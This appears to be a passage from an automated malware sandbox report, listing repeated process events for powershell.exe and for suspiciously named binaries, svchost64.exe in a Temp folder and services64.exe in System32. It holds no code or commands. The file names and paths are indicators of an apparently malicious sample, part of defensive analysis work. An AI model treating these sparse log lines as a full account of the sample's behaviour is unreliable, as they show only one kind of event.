Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
